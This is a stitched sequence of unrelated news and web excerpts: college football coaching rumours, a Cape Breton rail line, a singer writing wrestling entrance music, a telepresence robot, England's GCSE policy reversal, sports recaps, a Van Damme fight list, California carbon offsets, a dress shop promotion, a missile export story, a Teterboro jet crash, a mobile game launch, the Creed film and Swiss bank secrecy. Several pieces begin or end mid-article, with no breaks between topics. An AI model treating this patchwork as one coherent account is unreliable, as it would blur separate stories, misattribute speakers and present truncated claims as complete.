Perennially, David Shaw is a hotly coveted by NFL front offices. But it becomes clearer by the year that Shaw is quite comfortable at Stanford.
If a particular job did happen to strike Shaw’s fancy, Stanford would be a quirky fit for Kelly. It’s in the same division in which Kelly enjoyed success but it’s at the competitor that intermittently tripped up the Ducks using an entirely different style and scheme.
As with the Notre Dame job, perhaps Kelly would not be overly interested in navigating a fickle academic standard.
5. PENN STATE
Coaches and agents are skeptical James Franklin would really be in play for a job such as Buffalo, but his name has surfaced in a few spots.
Cape Breton and Central Nova Scotia Railway has received Utility and Review Board approval to abandon the line in Cape Breton after arguing it's unprofitable.
A committee of government officials, commercial interests and private citizens was struck earlier this year to find new business for the line, but has not announced any progress.
At the same time, Harbor-Port Development Partners (HPDP), which has exclusive rights from the Cape Breton Regional Municipality to market the Sydney port and develop a container terminal, has been negotiating with the railway.
Future of rail in Cape Breton
The statement issued Thursday says the rail company is discussing with Harbor-Port "the possibility of providing future rail service on the line from Truro to Sydney, as part of the deep water port development project in Sydney."
The statement says that rather than abandon the line as planned, the rail company "have instead decided to work co-operatively with HPDP to further common goals."
Those goals include promotion of the container terminal and the "re-commencement of rail service from the terminal lands in the future."
CBNS president Louis Gravel said in the statement that if the container terminal materializes, it could help secure the future of the rail line in Cape Breton.
Cape Breton Regional Mayor Cecil Clarke tweeted the update Thursday morning.
Sheri Shaw's Sstaria Records 'IMPACT Wrestling' Theme Songs
Shaw came close to her first dream in 2006. Surrounded by sports entertainment's biggest names, she spied the Smashing Pumpkins frontman through an ice sculpture at a post-WrestleMania 22 party in Chicago. Having long dreamed of working with the iconic rocker, Shaw raced to her car to get a demo CD.
"As I was rehearsing what to say when I handed it to him, I just froze," recalled the award-winning singer/songwriter during a recent telephone interview. "Something told me it was not the right time, so I just slipped the CD into my purse instead."
Shaw's friends understandably thought she was crazy. The singer herself admits also questioning the decision for years, wondering when she might again have the chance to speak with the rock icon. What she did not know then, though, was their shared love for professional wrestling would provide the answer.
"I had no idea [in 2006] what a big wrestling fan he is," said Shaw of the Grammy Award-winning, multi-platinum musician who would eventually become a close personal friend and mentor in both industries.
Shaw's break came quite unexpectedly in 2011, when Corgan launched Resistance Pro Wrestling in their collective hometown of Chicago. On a whim, she Tweeted the company, offering to write original theme music for local female grapplers.
"I never thought Billy would see it -- much less that he would respond," confessed Shaw, who as part of the '90s "industrial gospel" group Deitiphobia won a Dove Award (Christian music's highest accolades). "But when he replied, he'd already checked out my music, which is still kind of crazy to imagine."
Less than 24-hours after that fateful Tweet, Shaw had not only spoken to Corgan on the phone, he hired her! Though Corgan even convinced the brunette beauty to occasionally accompany local wrestlers to the ring, her primary role in RPW was Music Director. Soon Shaw and collaborator "Lyte," collectively known as electro-dance music duo Sstaria, put aside writing "pretty EDM tracks about love" to craft theme music for stars of Chicago's indie wrestling scene.
The experience later proved invaluable, when Corgan joined TNA as Senior Producer of Creative and Talent Development in April 2015. Promising to infuse a new energy and aesthetic into the company, he began tweaking its Thurs. night IMPACT Wrestling broadcasts on cable's PopTV.
As part of these changes, Shaw stepped in to develop new entrance music for many of its top acts. Starting with former member of TNA tag team champs The BroMans -- reality TV star of Big Brother "Mr. Pec-Tacular" Jessie Godderz -- to newly-signed talent Marshe Rockett, she has now worked with a who's who of IMPACT Wrestling.
Aron Rex Debuts in TNA, Accompanied By Sstaria's "Resurrection"
Her most recent composition accompanied debuting Aron Rex -- formerly World Wrestling Entertainment standout Damien Sandow. Though Shaw likes to delve into each character's psyche, and prides herself on knowing what makes audiences "pop" for a performer, she was forced to write Rex's music without ever meeting him in person. In this particular case, she says, it was easy.
"No matter what you write for someone like Aron, the women are going to swoon and the men are going to cheer -- because it's him," she says of Rex, a former Money in the Bank winner who became one of pro wrestling's hottest free agents after departing WWE earlier this year.
"He's got that 'it' thing. The fans just adore him, as they should, because he's a star," continued Shaw. "I'm beyond thrilled -- over the moon -- because he's a one-of-a-kind."
With Corgan now as residing TNA President, Shaw suggests more positive changes are in the works. From securing a Marilyn Manson song for TNA tag champs Decay's entrance to leveraging mainstream media coverage from Rolling Stone to signing hot, new talent, Corgan's -- ahem, impact -- seems obvious.
"I call that 'Billy Corgan Juice,'" joked Shaw. "He can do things the rest of us can't. Just call up Marilyn Manson and get his song? That is Billy Corgan Juice, and he's got a lot of it. I think we'lll see that in TNA."
Shaw is certain, given time, "legitimate wrestling fan" Corgan will quell any concerns some might have about a rock star leading a pro wrestling organization. Calling him "one of the most creative people on earth," she predicts big things ahead to "really push limits to make wrestling fun again."
"I know that sounds crazy, but he's very old-school wrestling in his thinking and his process of the whole psychology of [wrestling]," she said, "But he's always on the edge of what's new and exciting and fun to watch.
"With the combination of the two, I don't think you can watch an episode of IMPACT Wrestling and say 'Meh!' if you're a true fan of wrestling," Shaw went on. "It's just good. It's quality, and it's getting better and better."
Sheri Shaw Appears on The Smashing Pumpkins Track "Anaise"
So too, it seems, is Shaw's life as a musician. In addition to individually recording a track with The Smashing Pumpkins ("Anaise", which she calls "the highest honor"), three Sstaria tracks were featured on the latest season of CW hit iZombie with more new music is in the works, Shaw says. Recent work with a songwriter who has written for successful industrial group Ministry has even yielded a few "straight up pop" tracks, which she hopes Sstaria will record soon.
"That's where my true love is, being in that partnership and creating, whether it's for 100 people or 5,000 or just my mom," stated Shaw.
For the last several years, the singer admits her career has been "lopsided" -- with Sstaria taking a backseat to pro wrestling. Now, she says enthusiastically, the duo is finding an equilibrium which allows personal pursuits to move closer to the spotlight. Having her music heard by millions around the globe each week on IMPACT Wrestling certainly hasn't hurt.
"Sstaria will always be part of who I am as an artist," concluded Shaw, "And now we're getting more interest than we know what to do with -- so we're just making music and enjoying the ride!"
One of the biggest companies in robotics has teamed up with one of the biggest in telepresence to create a new remote collaboration robot. iRobot and Cisco announced today they are working together to develop a robot called Ava 500 that can autonomously drive around an office and offers crisp HD video experience.
The two companies, which are demonstrating the new robot at a trade show this week in Florida, say it will be available early next year ( no details on price yet some reports say the robot will cost around US $2,000 to $2,500 per month to lease). The Ava 500 blends technologies from both companies: iRobot has built a capable autonomous navigation platform that it's been integrating into its remote presence robots; and networking giant Cisco is a major provider of video telepresence systems to the corporate market (and to Jack Bauer).
Telepresence robots designed to let off-site workers participate in meetings and visit remote locations are becoming increasingly popular. Offerings vary from streamlined models like the Double to sophisticated and more costly robots like iRobot's RP-VITA, which can be used in hospitals. Other remote presence robots include Jazz, Vgo, QB, and Beam.
The Ava 500 stands out from other robots thanks to its autonomous navigation technology. In other telepresence robots, a remote user has to drive it around. Piloting a mobile robot at a distance is a lot of fun (you almost feel like you have a body at another location), but it can also be a barrier to some users. Ava 500 makes it easier to get around: It maps the environment with a PrimeSense 3D sensor, and once it's learned where different rooms are, you can just tell the robot where to go and it will drive itself there, avoiding collisions with the water cooler and your coworkers.
Another feature of the Ava 500 is its big screen. A number of existing telepresence robots have only small-ish screens, forcing people to squint to see the remote user's face. Not the Ava 500. Sitting atop the robotic platform is Cisco’s TelePresence EX60 system equipped with a 21.5-inch display (it's typically used as a desktop device!), which means your colleagues can see your face in full HD glory. (This design, featuring a big display, is similar to the Beam from Suitable Technologies and its predecessor, the Texai).
That said, having tested a bunch of telepresence robots, I can tell you that not everything works as advertised when you unleash these robots in the real world. A big display may mean great video experience, but it also creates a lot of vibration when the robot is moving (you can see that happening in some scenes in the video below). And HD video quality is great when you have enough bandwidth; when network limitations exist, the video can get grainy and choppy.
Hopefully Ava 500 can overcome these and other issues, including one that I think is the biggest challenge for remote presence robots: connectivity. During my tests with different 'bots, the greatest problem by far was the fact that, very frequently, the robot would lose connection to the Wi-Fi access points. Sure, that's not a problem of the robot alone; it depends on Wi-Fi coverage as well. Still, the robots I tested were not able to find their way out of Wi-Fi blind spots and would simply disconnect and sit there idly.
That was very frustrating when it happened during a conversation or when I was driving to a meeting. Having to call a coworker to carry the robot to another location totally defeats the purpose of having a robotic proxy. A robot that needs a human helper at its side? My guess is Ava 500, with its autonomous navigation capability, is well positioned to handle such connectivity issues better than other robots; it could just drive itself until it regained Wi-Fi connectivity, for example. When the robot becomes available, I'll try to get one here at the IEEE Spectrum offices to do a detailed test drive.
[ iRobot Ava 500 ]
Plans to scrap GCSEs in key subjects in England and replace them with English Baccalaureate Certificates are being abandoned by the government.
The reversal was announced by the education secretary in the Commons, alongside curriculum changes.
Michael Gove said plans for the new exams had been "a bridge too far".
He had wanted to bring in what he said were more rigorous exams in some core subjects from 2015, but faced criticism from MPs and teachers.
Labour's shadow education secretary Stephen Twigg told MPs the announcement was a "humiliating climb-down" and exam policy a "total shambles".
The change means plans for the new qualification, announced in September, are being shelved, while GCSEs are retained, despite having been previously condemned by the education secretary.
The reversal has refocused the spotlight on the future form of GCSEs .
Media playback is unsupported on your device Media caption Stephen Twigg MP on "humiliating climbdown"
Grade inflation
It comes after a damning report by the Commons education committee which said the changes would mean "too much, too fast" and could threaten exam quality.
The new English Baccalaureate Certificate was billed by the government as having a tougher syllabus, with exams at the end of the course in a return to an O-level style traditional qualification.
Mr Gove told MPs: "Last September we outlined plans for changes to GCSE qualifications designed to address the grade inflation, dumbing down and loss of rigour in those examinations.
"We have consulted on those proposals and there is now a consensus that the system needs to change.
"But one of the proposals I put forward was a bridge too far."
Specifically, he said that proposal had been to let just one exam board set a GCSE for each English Baccalaureate Certificate. The idea behind this was to stop what he had called a "race to the bottom" where he said exam boards might compete to offer easier qualifications.
However, he also re-stated his belief in changes already being made to GCSEs, where there has been a switch to exams being taken at the end of two years rather than in stages, fewer re-sits and a reduced role for coursework.
'A humiliating U-turn' by Michael Gove is how Labour describes what they're calling the #EBacctrack. 'A tweak' says the education secretary's former deputy, fellow Tory Nick Gibb.
And he said a tougher GCSE in some key subjects would come in from autumn 2015.
Liberal Democrats had opposed the introduction of the English Baccalaureate Certificate, believing they would bring in a two-tier system, which would damage teenagers who were not academic enough to pass the new exams.
A senior Whitehall source told the BBC's political editor Nick Robinson a range of factors conspired to bring an end to the plans, including opposition from the regulator and concerns that introducing a single exam board for each subject could be challenged in the courts under European Union rules.
Lib Dem sources indicated they regarded this as a coalition decision not a policy victory for their party, our correspondent added.
In the Commons, Labour's Stephen Twigg said: "It's simple really, before he announces a bright idea wouldn't it be sensible to check it first with the deputy prime minister".
'Red light'
The proposals for the new qualifications were met by intense criticism from teaching unions when they were first floated last June and then set out in detail in September.
The original plan had been for the first candidates to start courses in 2015 and take the new-look exams two years later, initially in three core subject areas - English, maths and sciences - with an extension later to history, geography and languages.
There was a plan to have one exam board for each subject.
Doubts had been raised about the feasibility of awarding the franchises for subjects within the timetable set for the new qualifications, which were to be taught from autumn 2015.
Exam regulator Ofqual had written to Mr Gove suggesting this should not go ahead at the same time as the other changes planned for GCSEs and A-levels.
Last week a report from the Commons Education Select Committee issued a "red light" warning to the government, urging it to slow down and rethink its proposed changes to GCSEs and the exam system.
Media playback is unsupported on your device Media caption NUT's Christine Blower "absolutely delighted"
The cross-party report warned the proposed changes were being rushed and risked damaging the exam system.
MPs' criticisms had been echoed by teachers and head teachers' unions.
In the Commons, Mr Gove also announced changes to the performance measures used in school league tables.
There will be a new eight-subject measure of GCSEs, including English and maths, three subjects out of sciences, languages, history and geography and three other subjects, such as art, music or RE.
This will in effect be a wider version of the English Baccalaureate measure, which some have criticised as being too narrow, although that measure will remain.
Russell Hobby, leader of the National Association of Head Teachers, said the government had "slammed on the brakes just before the cliff face".
He said it would have been impossible to implement what had been planned.
The announcements on abandoning the new qualifications come alongside the publication of changes to the curriculum for primary and secondary schools.
The English Baccalaureate Certificate (EBC) was a key part of Michael Gove's plans to shake up England's exams system and "restore rigour" to it. It hit the buffers for political, practical and commercial reasons and in the face of strong opposition, not least from exams regulator Ofqual and MPs on the education select committee. The idea of an exam which was not for everyone was very unpopular with the Liberal Democrats and with teaching unions, who all warned of a move to a "two-tier" system or a return to the divisions of O-levels and CSEs. Pupils were due to begin studying for EBCs in some key subjects in 2015. They won't now, but other changes remain, such as the move towards exams at the end of two years rather than being taken in chunks and towards fewer resits. Read Angela Harrison's analysis
Mr Gove has already set out principles arguing there should be a clear set of core information pupils should learn in areas such as maths, science, history and literature.
Programmes of study in almost all subjects except for primary English, maths and science have been slimmed down.
'Entirely wrong'
Earlier, Labour's shadow education secretary Stephen Twigg told BBC Radio 4's Today programme: "This is a humiliating climb-down for Michael Gove but more important than that it is really good news for education.
"The proposal risked turning the clock back to the kind of exam system that we had when I was at school that wrote a lot of young people off at 14 but it also crowded out a lot of very important parts of the curriculum."
The general secretary of the National Union of Teachers (NUT), Christine Blower, said she was delighted Mr Gove had made a U-turn.
Game Recap: Lakers 89, Warriors 88 (OT)
Posted Tue Jul 15, 2014 1:57 AM - Updated Tue Jul 15, 2014 1:57 AM
The Los Angeles Lakers (1-2) defeated the Golden State Warriors (2-1) in overtime by a score of 89-88 on a Jordan Clarkson tip-in as time expired. The win snaps Golden State's 16-game winning streak, the longest winning streak of all time at NBA Summer League.
Clarkson finished with a team-high 19 points and seven rebounds. The Lakers got off to a good start and built their lead up to 11 in the third quarter. Trailing 70-64 going into the fourth quarter and similar to their previous game vs. the Phoenix Suns, the Warriors climbed back in the fourth frame, looking to extend their winning streak to 17.
Justin Holiday shined for the second consecutive game. He cashed in on a go-ahead basket at 83-82 to recapture the lead late for the Warriors. Holiday recorded a game-high 26 points on 9-for-18 shooting, to go along with three rebounds, two steals and two blocks. He also connected on four of his eight three-point attempts.
Holiday last played in the NBA during the 2012-13 season for the Philadelphia 76ers but spent last season playing in the Hungarian League. On Saturday, Holiday played a big role in keeping the winning streak intact, scoring 29 points on 9-for-15 shooting.
In the final seconds of regulation Kendall Marshall responded to Holiday to make the score 84-83 before James Michael McAdo was fouled and made one-of-two shots from the line. With the game tied at 84, Golden State went back to Holiday whose game-winning shot attempt fell short, just off the front of the rim.
In overtime Holiday put the Warriors up 86-84 then again at 88-87 but the Lakers responded as Marshall and seventh overall selection, Julius Randle found their way to the charity stripe before Clarkson came through at the buzzer on the tip shot.
1. Bloodsport
We’re starting this list off strong with a taste of Bloodsport! In this scene, we have Van Damme facing Bolo Yeung in a great kickboxing match. Bolo cheats by throwing some dust in Van Damme’s face. With the help of some blindfold training from his old teacher, Van Damme was able to defeat his foe by relying on his other senses.
2. Kick Connection
Cyborg or not, I wouldn’t want to be on the receiving end of any Van Damme kicks. This was ak pretty cool idea to shoot in a post-apocalyptic world. I can’t believe this movie was shot for around $500,000. The rawness of this scene is something you just don’t see in films these days.
3. Fight to the Finish
This is the last scene of Kickboxer where Van Damme goes straight up Muay Thai. It’s even more savage because his fists are wrapped with glass and resin. This was a straight blood bath. To say his foe was quite menacing, would be putting it lightly. This was a nice fight to save the honor of his girlfriend and brother.
4. Bolo Again?
We have Van Damme and Bolo back at it again in this great fighting scene. Bolo is as brollic (to put it lightly) as they come. I would not want a huge can of flammable liquid thrown at me. I’ll tell you that. Lol. Van Damme does an array of nice roundhouse and trademark spin kicks. The ending result is quite explosive in Double Impact.
5. Guile vs. M. Bison
As much as I dislike this film, even I have to admit that Van Damme does some good fighting. The trademark ‘Flash Kick’ is the most believable special move they do in this movie. Word of the wise: please go see any of the Street Fighter anime movies or series. However, I have to give Raul Julia (RIP) the utmost respect for playing a solid M. Bison especially as his last movie role. This is definitely one of the better scenes in Street Fighter: The Movie.
6. Jean-Claude Van Damme Vs. Michael Jai White
Two guys at the top of their game just going at it blow for blow. A lot of good martial arts and cool crashes. You definitely get to see Michael Jai White start coming into his own as an actor. This was a pretty nice scene from Universal Soldier: The Return.
7. Splits and Kicks
This type of flexibility is amazing and painful I have to admit. In this scene of Timecop, Van Damme takes out three guys and save himself from electrocution by doing a front split to dodge the attack.
8. A Fight with a Penguin
Wow, who knew a penguin had fighting skills like this? I have to say this was one of the funnier scenes I’ve seen from Van Damme. All I can say about this scene is “Why is it so serious yet funny at the same time?” I wouldn’t be surprised if the chicken fight joke on Family Guy came from Sudden Death.
9. Van Damme vs Kilpatrick
This was a pretty good fight. Patrick Kilpatrick definitely made a good villain in his martial arts film. He always could play a sadistic killer or deranged fighter. This scene in Death Warrant is a real all out brawl. A saw, broken glass bottle, and a prison. What more could you want?
10. Expendables 2 Dream Fight
I think this scene was a dream fight for a lot of people. Jean-Claude Van Damme and Sylvester Stallone duke it out in an incredible fighting scene. I wish Van Damme was one of the good guys so he could take this fight, but it is scripted. Regardless of the outcome, it’s great to see Van Damme perform like this over the age of 50. This is such a great fight from Expendables 2.
California’s ambitions are in striking contrast to those of much of the rest of the nation. A conservative political rebellion against cap and trade helped the Republican resurgence in 2010. Attacking the plan as “cap and tax,” opponents argued that it would impose excessive costs on energy industries in a weak economy.
In a cap-and-trade system, the government sets a cap on the amount of carbon dioxide and other greenhouse gases that refineries, chemical companies, cement plants and other businesses are allowed to release. It then issues permits to those companies allowing them to emit a certain amount.
Because some companies can rein in their emissions more easily or at less cost than other businesses, they can profit by selling extra permits through the market to companies that find the cost of pollution-control technology prohibitive. In theory this ensures that heat-trapping gases are reduced at the lowest possible cost.
California’s nascent market already reaches beyond its borders. While most of the businesses responsible for reducing their emissions over time are based here, they can offset up to 8 percent of their emissions by buying so-called offset credits generated anywhere in the country by other ventures that cut their emissions.
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Landfill operators around the Southeast have been isolating and destroying methane, for example, earning offset credits that can one day be sold on California’s carbon market. Intermediaries identify projects that are reducing emissions, verify that they are successful and seek credits for them.
This offset market cushions the polluters’ transition to expensive new technologies that scrub carbon dioxide from their emissions.
Yet skeptics of the program are not hard to come by. Steven F. Hayward, a specialist on environmental issues with the conservative American Enterprise Institute, said he doubted that the new program would have much of a future.
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“In the absence of a national program or even regional programs getting much traction, I don’t think this will go far,” he said. “It will probably get off with a bang, with some big early trades capturing some low-hanging fruit. But then it will wither and die an ignominious death.”
In the short run, however, there have already been economic winners. While most of the 360 projects whose offsets have been approved are landfills, the biggest winner so far in this fledgling market may be Clean Harbors, a Massachusetts company whose hazardous waste disposal operation in El Dorado, Ark., has spent years destroying old refrigerants. Known as chlorofluorocarbons, the pre-1995 refrigerants are potent greenhouse gases.
According to a list of approved offset projects prepared by the Climate Action Reserve, a nonprofit organization whose standards are nearly identical to those developed by state regulators, the Clean Harbor site in Arkansas has already offset the equivalent of 2.3 million tons of carbon dioxide emissions, which translates to 2.3 million offset credits worth $10 to $11 each.
“The beauty of the California program is that it allows offsets from anywhere in the United States,” said Gary Gero, president of the Climate Action Reserve. “You don’t have to pass a litmus test that you believe in climate change,” he said. “If you think Californians are crazy, it doesn’t bar you from participating.”
The pre-1995 refrigerants, whose production is now banned worldwide because of their role in thinning the earth’s protective ozone layer, would otherwise probably have been recycled into the innards of older grocery freezer compartments.
An article by David Hayler No Comments An article by David Hayler
In the UK rockabilly dresses are more popular than ever. We started to stock our range of dresses just over a year ago and demand has remained high ever since. Thankfully we work closely with a fantastic manufacturer who’s priority matches our own; to offer a quality range of outfits at affordable prices in a range of sizes.
With a growing selection of designs, material patterns and styles we’re hoping to become a one stop shop for all of your summer dress needs.
When the sun finally does come out this summer you’ll want a dress that makes you look your best and grabs the attention of others while you wear it. All of the rockabilly dresses that we showcase here will do exactly that.
Our Top Selling Rockabilly Dresses
I’m now going to showcase our best sellers so that you can see what’s popular with our customers. Most of these designs have been available since last summer and continue to sell well because you all love the colours, styles, patterns and the designs.
It’s important to note that all of our rockabilly dresses will fall reasonably flat to your body without a petticoat worn underneath them. We do have a small selection available, which you can purchase here.
Our best selling rockabilly dress is this red and white polka dot swing dress. It’s made from a cotton blend, has an inner lining for comfort, a hidden side zip for easy access, . It comes with a chunky white belt that cinches the dress in nicely at the waist, though it isn’t attached and can be worn as an optional extra.
Of all the rockabilly dresses that we offer this is easily our most popular. We do our best to make sure that high levels of stock are always available, but if the size you want is unavailable please send us a message and we’ll let you know when more becomes available.
This vibrant pink knee length polka dot dress is in constant demand around prom season and you can see why. It’s made from a strong cotton blend, has an inner lining for comfort, features a curved cut at the bust and has halterneck straps so your arms aren’t constricted by sleeves.
The dress comes supplied with the stretchy, chunky white belt as shown in the picture above, which pulls the dress in comfortably at the waist to flatter your figure.
As soon as I saw the pattern on the body of this dress I knew we had to stock it. The skull and roses design is simply beautiful and the vivid colours really make it pop. I’ve always loved a hard contrast with red and black and this outfit really grabs your attention because of it.
This rockabilly dress is made from 100% cotton, has a hidden zipper in the side, an elastic back so it will stretch to fit a range of sizes and hug your figure, an adjustable ribbon laced back (pictures of this can be found on the shop listing) and includes a red ribbon belt to cinch the dress in at your waist.
The picture of the dress was taken with a petticoat to give the dress some volume, though it can quite easily be worn without it depending on the look you’re going for.
Plain, simple and very popular for summer balls and proms, this black and red swing dress will not disappoint. It’s made from polyester, features red detailing and has a hidden zip making it easy to put on and take off.
Back to the always popular polka dots, this dress features larger 25 mm sized white dots on a black polyester dress. The light material means it’s the ideal choice for warmer weather and the attached red net petticoat offers some extra colour.
We still strongly advise that you wear this dress with an additional petticoat to add volume if that’s the way you’d like to present yourself.
Many More Rockabilly Dresses Available and Custom Dresses Coming Soon
This is a small selection of the outfits that we have available in the FDQ store. Check out our other rockabilly dresses here.
The hockey is typically sloppy, played at half-pace by players who are still learning new systems. The games are too often punctuated by undue 'make an impression' bouts fought by combatants with little chance of breaking camp with their club (Zack Stortini vs. David Broll right off of a neutral zone faceoff anybody?).
Moments of brilliance from players like James van Riemsdyk and William Nylander aside, the NHL's unique brand of preseason hockey can be hard on the eyes. It isn't meaningless though, particularly not for the players legitimately battling for jobs, or the coaches looking to implement new systems before the games start to count.
New Toronto Maple Leafs center Mike Santorelli is a perfect example of a player who made the preseason count last fall. His performance in camp with the Vancouver Canucks last season, despite being on a two-way deal, likely kept him in the league.
This year Santorelli is on a one-way deal worth $1.5 million, and opened his preseason centering Phil Kessel and Toronto's 2014 first-round draft pick Nylander, but that doesn't mean he's approaching things any differently this September.
"Honestly nothing," Santorelli told theScore on Tuesday night, when asked about the difference between being at camp to win a job, versus this year where he has a bit more job security. "Your mindset is always to get better."
A versatile forward, Santorelli has split time playing both center and right wing in his career. On Tuesday night he was playing center, a spot where he would seem to have more opportunity to play a major role (the Maple Leafs are relatively deep at wing).
"I don't want to look into anything," Santorelli said of his chances to compete for a top-nine job as a centerman. "I'm just preparing for the season."
As for the coach implementing a new system, Maple Leafs bench boss Randy Carlyle cautioned that his club's second preseason game means literally nothing in the grand scheme of this season. Still Carlyle detailed some of what he's hoping to change in the way his club plays this season, some of which was on display on Tuesday night.
"We've tried to make adjustments," Carlyle explained. "(We want to) be more aggressive down the ice; be more of a swarming, two down the ice - as far as two forwards, get fresh bodies over the boards when the opportunity presents itself. We're trying to be a more aggressive hockey club, a more skating hockey club in a lot of areas."
In addition to deploying a more aggressive forecheck and seeming to give puck-moving defender Jake Gardiner more of a green light to jump into the play, the Maple Leafs appear to have abandoned their defensive "swarm" on in-zone play. On Tuesday the Maple Leafs' wingers weren't positioned nearly as low in the zone as they consistently were last season, and the club's centermen didn't appear to outnumber puck-handlers along the boards with the same sort of self-defeating urgency.
Maple Leafs goaltender Jonathan Bernier noticed another difference in the way his teammates played and executed in front of his net on Tuesday, and praised his club's more aggressive defense of the blue-line in a post-game scrum.
Defence Minister Manohar Parrikar begins a five-day visit to Singapore and Vietnam from today. The main highlight of the visit would be talks on sale of BrahMos missiles to Vietnam.
Vietnam had been eyeing the missile for over five years now but the UPA government had been reluctant to give the nod fearing Chinese objections.
The BrahMos Diaries
BrahMos is a supersonic anti-ship missile, developed jointly by New Delhi and Moscow.
It is considered one of the most effective and lethal anti-ship missiles in any nation's inventory, almost entirely due to its speed
While the current BrahMos launch vehicles are surface and aircraft based, India is testing a submarine-launch version that could conceivably be used in Vietnam's Kilo-class submarines
Highly placed defence sources said both PM Narendra Modi and Defence Minister Manohar Parrikar were in favour of exporting the missile system to Vietnam
Beijing has expressed reservations against any plans by New Delhi to supply weapons to Vietnam
China and Vietnam are already locked in a tense face-off over maritime boundaries in the South China Sea
A jet struck a building and crashed near a small airport Monday, killing two crew members and sparking a fire that sent thick, black smoke spewing into the air, authorities said.
Police said no passengers were aboard the Learjet 35 when it went down around 3:30 p.m. ET about a quarter mile (400 meters) from the runway at Teterboro Airport in New Jersey, just west of New York City. No one on the ground was reported to have been injured.
Emergency responders worked for more than an hour to extinguish the blaze.
Mayor Craig Lahullier said all town employees already had left for the day before the plane crashed near its public workers building.
"I tell ya, it's a miracle," he said. "Thank God the guys were out of there, that's all I can say."
Town spokesman Joe Orlando said pieces of melted engine could be seen in the charred wreckage, along with wheels and part of the fuselage. Witnesses said they heard loud popping noises, apparently from car tires exploding in the heat and flames.
Orlando had left the Department of Public Works building, next to where the plane crashed, about 15 minutes before it hit. When he returned, he saw the plane's engines on the ground.
"If this had happened 20 minutes earlier, people would have been at their cars," he said. "That was the first thing I thought of: 'I was just right there.'
"You could see the fan blades, the landing gear. Car tires were blown off, there were explosions. It's something out of a movie."
Mark Dykstra, who lives across the street from the crash site, told NJ.com he felt the impact of the crash.
"We were sitting in our building, and we felt the whole building shake," he said. "We went outside, and there was black smoke. Thick black smoke."
ZutGames isn't hanging about. Having shared with us its fresh take on Tetris called GlowGrid just two weeks ago, the studio has launched the game on iOS and Android today.
As we mentioned previously, GlowGrid has you matching tiles of the same colour in a grid to score points and clear spaces.
The main difference between it and Tetris is that you place tiles where ever you want - they don't fall from the top. The catch is that you don't usually place just a single tile as they come in clumps.
The challenge is in fitting the weird shapes of the tiles in the limited spaces available to you, while also matching colours.
There's a Casual mode if you want a puzzle to keep your mind occupied. While the Panic mode is for those looking for a more intense experience.
LONDON – Filmmaker Ryan Coogler handed in his latest draft of Creed, a movie he aims to make based on the Rocky franchise character Apollo Creed, played by Carl Weathers.
Coogler told THR he sent the latest draft of the project to backers MGM upon his arrival in the London -- his first visit to the U.K. -- where he is supporting the screening of Fruitvale Station at this year's Sundance London film and music festival.
PHOTOS: Sundance Awards: Nick Offerman Salutes Park City's Best
Coogler said Creed -- which is set to star Fruitvale star Michael B. Jordan and Sylvester Stallone, who was Oscar nominated for the first Rocky film -- focuses on the boxer's family and where they are now, years on from Creed's highs and lows in the ring opposite Stallone's Rocky Balboa character.
Coogler said: "It brings us up to date with where his family is now."
The filmmaker had taken the idea to write a movie based around the Rocky franchise to MGM before Fruitvale Station got up and running.
"It was an idea I took to them and met with [Sylvester] Stallone for his blessing," Coogler said. "It's a universal story about family, so I hope it'll fly."
STORY: 'Fruitvale Station' Director Ryan Coogler on the Success of the Film
Coogler got positive noises from MGM and Stallone on Creed just as he was going into production on Fruitvale, so has had to wait until now to concentrate his efforts on the project.
Fruitvale details the true story of a 22-year-old Bay Area resident who winds up involved in a vicious police incident on New Year's Day in 2009.
Andrew Ladd, a two-time Stanley Cup winner and the only captain in the second incarnation of the Winnipeg Jets, was on Long Island on Thursday getting a tour of the Islanders’ new practice facility, among other stops. Ladd, 30, has scored at least 20 goals in five of the past six seasons.
Ladd could be the top-six winger Garth Snow covets to replace Kyle Okposo, who is headed to free agency as perhaps the player most likely to strike it rich quick. Okposo’s contract length and cost may end up being seven years and in the range of $6 million to $7 million per season now that Steven Stamkos has returned to the Lightning, taking the unquestioned top forward out of the free-agent mix.
The Sabres, who had been planning a whopper of an offer for Stamkos, are likely to turn to Okposo next — and Okposo, still close with former Islander and current Sabre Matt Moulson, has strong interest in Buffalo.
Frans Nielsen worked out at IceWorks on Thursday, but that could very well be the last time he skates at the team’s old practice rink as a member of the organization. Nielsen declined to comment on his situation Wednesday, but he is said to be a little uncomfortable with the free-agent process.
His camp and Snow are likely to revisit contract talks once the offers come in, but by then, his versatility and durability could bring him an offer too rich for the Islanders. The Red Wings could go hard after Nielsen after they — like the Sabres — set aside some salary-cap space to take a run at Stamkos.
If Nielsen leaves the Islanders, it will be a blow, and the options to replace him are a bit of a step down.
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Blues captain David Backes has the scoring touch and the defensive ability, but he could command as much as $6 million per season.
Eric Staal could be a more reasonable short-term option, and sources indicated that the Islanders have reached out to Staal’s representative this week. The former Hurricanes captain and brief Ranger had a disappointing 2015-16, but he’s actually six months younger than Nielsen and was a teammate of Ladd’s on the 2006 Hurricanes Stanley Cup squad, along with current Isles assistant coach/GM Doug Weight.
Stylized Swiss and U.S. (R) national flags fly on a roundabout in the town of Obersiggenthal near Zurich May 28, 2013. REUTERS/Arnd Wiegmann
The Swiss parliament is divided over a government bill unveiled last week, which would let Swiss banks hand over internal information to the U.S. authorities in the hope of avoiding threatened criminal charges - though the banks still face fines likely to total billions of dollars.
While not an example of “respectful diplomacy” by the United States, which is effectively dictating the terms of the settlement, Switzerland should accept the offer, said Ackermann, who is chairman of Zurich Insurance.
“A sober assessment must conclude ... that there is indeed no alternative to accepting the U.S. offer,” he said at an event sponsored by Thomson Reuters in Geneva on Monday.
“It probably provides the last opportunity for solving a highly contested issue in a manner that conforms with Swiss law ... and our understanding of bank client privacy.”
Since returning to Switzerland from Germany last year, Ackermann has become a forceful advocate for the Swiss financial sector, a rare senior banker still in a position of power given the departure from the industry of other top figures during and since the financial crisis.
Switzerland’s tradition of banking secrecy has helped make it the world’s biggest offshore financial centre, with $2 trillion in assets. But its position has come under fire since the crisis, as cash-strapped governments clamp down on tax evasion, with authorities in Germany and France as well as the United States probing Swiss banks.
Bridling at the U.S. pressure, many Swiss lawmakers have pledged to vote down the deal, which the Swiss government is asking parliament to rush through, citing a U.S. threat of further criminal charges against more banks.
It insists banks will still not be allowed to hand over client names, but the new proposal, valid for a year, would allow them to hand over so much information that U.S. officials should be able to identify individuals involved.
U.S. THREAT
Some banks not named in the investigation, along with lobbies for thousands of tax lawyers, custodians and small asset managers, have also expressed outrage, fearing a deal that ignores their concerns and leaves them exposed to potential criminal lawsuits.
